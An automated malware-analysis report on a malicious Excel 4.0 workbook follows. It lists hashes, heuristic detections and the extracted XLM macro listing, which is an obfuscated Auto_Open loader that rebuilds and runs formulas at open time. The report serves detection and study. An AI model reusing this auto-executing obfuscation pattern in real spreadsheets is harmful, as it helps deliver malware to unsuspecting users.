Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c10a46a5ab510150…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:42:01 Authoring application: Microsoft Excel First seen: 2022-07-02
MD5: 75bd7b9a459609292396b074e481b91b SHA-1: 3923d5f07537bcb8e5de98156c28ffdb3a6b2820 SHA-256: c10a46a5ab51015015b382468de411ed0b0536bcccacd00e3d289e54a99c5c93
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6508 bytes
SHA-256: feac0a5568ee86e2a00c26a90e6c077e7def897e29d73cd2af659e242b34dfc5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  qMgiwWd
' 0018     20 LABEL : Cell Value, String Constant - AIQaE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E165 
' 0018     23 LABEL : Cell Value, String Constant - bDzVnVPq len=0 
' 0018     27 LABEL : Cell Value, String Constant - BuNkNLsvneON len=0 
' 0018     25 LABEL : Cell Value, String Constant - CaxedgYTxw len=0 
' 0018     23 LABEL : Cell Value, String Constant - CKTNoFJz len=0 
' 0018     22 LABEL : Cell Value, String Constant - fhgjYBJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - foPSYDYO len=0 
' 0018     23 LABEL : Cell Value, String Constant - FWVmPILD len=0 
' 0018     25 LABEL : Cell Value, String Constant - FzfMgRYfSS len=0 
' 0018     22 LABEL : Cell Value, String Constant - LiIQLmb len=0 
' 0018     22 LABEL : Cell Value, String Constant - ntUpoGf len=0 
' 0018     25 LABEL : Cell Value, String Constant - ohytPTgReN len=0 
' 0018     23 LABEL : Cell Value, String Constant - QgJClHet len=0 
' 0018     24 LABEL : Cell Value, String Constant - secRQCfyW len=0 
' 0018     27 LABEL : Cell Value, String Constant - UIdCQOvYPZpr len=0 
' 0018     20 LABEL : Cell Value, String Constant - uODQj len=0 
' 0018     22 LABEL : Cell Value, String Constant - VYINHhv len=0 
' 0018     27 LABEL : Cell Value, String Constant - xuNOlzEXHiLm len=0 
' 0018     23 LABEL : Cell Value, String Constant - YKatyDqd len=0 
' 0018     27 LABEL : Cell Value, String Constant - zUYdsnEhZTKP len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  qMgiwWd,E70,"SET.NAME("CKTNoFJz",VALUE("0"))",""
'  qMgiwWd,E75,"SET.NAME("ohytPTgReN",CKTNoFJz)",""
'  qMgiwWd,E77,"SET.NAME("fhgjYBJ",CKTNoFJz)",""
'  qMgiwWd,E81,"SET.NAME("LiIQLmb",COUNTA(foPSYDYO))",""
'  qMgiwWd,E84,"SET.NAME("FWVmPILD",COUNTA(AIQaE))",""
'  qMgiwWd,E86,[],""
'  qMgiwWd,E91,"SET.NAME("CaxedgYTxw","")",""
'  qMgiwWd,E94,"ohytPTgReN",""
'  qMgiwWd,E97,"SET.NAME("UIdCQOvYPZpr",HLOOKUP("*",foPSYDYO,ohytPTgReN,FALSE))",""
'  qMgiwWd,E99,"QgJClHet",""
'  qMgiwWd,E104,"SET.NAME("uODQj",CKTNoFJz)",""
'  qMgiwWd,E107,[],""
'  qMgiwWd,E110,"uODQj",""
'  qMgiwWd,E115,"BuNkNLsvneON",""
'  qMgiwWd,E120,"bDzVnVPq",""
'  qMgiwWd,E123,"YKatyDqd",""
'  qMgiwWd,E126,"SET.NAME("secRQCfyW",VALUE(HLOOKUP("*",AIQaE,YKatyDqd,FALSE)))",""
'  qMgiwWd,E131,"VYINHhv",""
'  qMgiwWd,E136,"CaxedgYTxw",""
'  qMgiwWd,E138,"fhgjYBJ",""
'  qMgiwWd,E142,NEXT(),""
'  qMgiwWd,E145,"ntUpoGf",""
'  qMgiwWd,E150,"SET.NAME("f",INT(T(FORMULA(T(CaxedgYTxw)&"",""&T(ntUpoGf)))))",""
'  qMgiwWd,E155,"xuNOlzEXHiLm",""
'  qMgiwWd,E159,NEXT(),""
'  qMgiwWd,E161,RETURN(),""
'  qMgiwWd,E193,"SET.NAME("FzfMgRYfSS",E70)",""
'  qMgiwWd,E195,"foPSYDYO",""
'  qMgiwWd,E198,"SET.NAME("AIQaE",R69C13)",""
'  qMgiwWd,E201,"SET.NAME("xuNOlzEXHiLm",210)",""
'  qMgiwWd,E206,"SET.NAME("zUYdsnEhZTKP",5)",""
'  qMgiwWd,E209,FzfMgRYfSS(),""
'  qMgiwWd,E210,HALT(),""

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